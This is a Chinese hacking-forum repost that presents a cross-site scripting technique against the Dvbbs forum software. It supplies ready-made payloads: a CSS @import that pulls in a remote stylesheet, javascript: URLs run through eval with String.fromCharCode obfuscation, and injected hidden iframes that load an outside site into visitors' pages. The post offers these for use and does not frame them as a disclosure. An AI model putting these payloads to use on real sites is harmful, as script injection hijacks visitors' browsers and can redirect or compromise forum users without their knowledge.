返回列表 发帖

[转载] 貌似动网漏洞?动网css经过测试可以跨站

貌似动网漏洞?动网css经过测试可以跨站..好东西我Tom'fs 绝对拿出来的。


----------
具体的跨站方法给大家曰一下,要不然大家说我Tom'fs 不厚道:
       选择“代码”方式,在其中输入以下代码:
<style type='text/css'>@import url(http://www.zz.la/1.css);</style>
其中的@import 是CSS的自定义属性,url是要链接的CSS样式,
http://www.zz.la/1.css 的内容如下:
<style type="text/css">
<!--
@import url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
-->
</style>
          这是一段弹出alert窗口的代码,其中的string.formcharcode是用来将字符转为asc值的函数。
OPEN 的代码如下:
@import url(javascript:eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,119,119,119,46,110,111,104,97,99,107,46,99,110,39,44,39,-17702,-16435,-13610,-19743,39,44,39,119,105,100,116,104,61,50,48,48,44,104,101,105,103,104,116,61,50,48,48,39,41,59)));
       如果是要在当前窗口隐藏显示,可用document.body.innerHTML方法
代码是:
document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.zz.la></iframe>";
        将以上的字符用 asc转换工具转为asc值,放入string.fromcharcode函数中,就可以了,当然,也可以不用string.fromcharcode函数,直接引入代码的语句是:
@import url(javascript:eval("document.body.innerHTML=document.body.innerHTML+'<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.zz.la></iframe>';"));
       其中字符要用双引号引入才行,如果再去掉eval,那么语句就是:
@import url(javascript:document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.zz.la></iframe>");
        常量用双引号引入,而变量则直接引入,两者之间用+来连接,如果有特殊的字符,则可用String.fromCharCode进行转换,比如"<",则可用String.fromCharCode(60)代替。
http://www.sylehack.cn
自古英雄出我辈.一入网络岁月催.识尽网络千机变.回头才知一场空.

返回列表 回复 发帖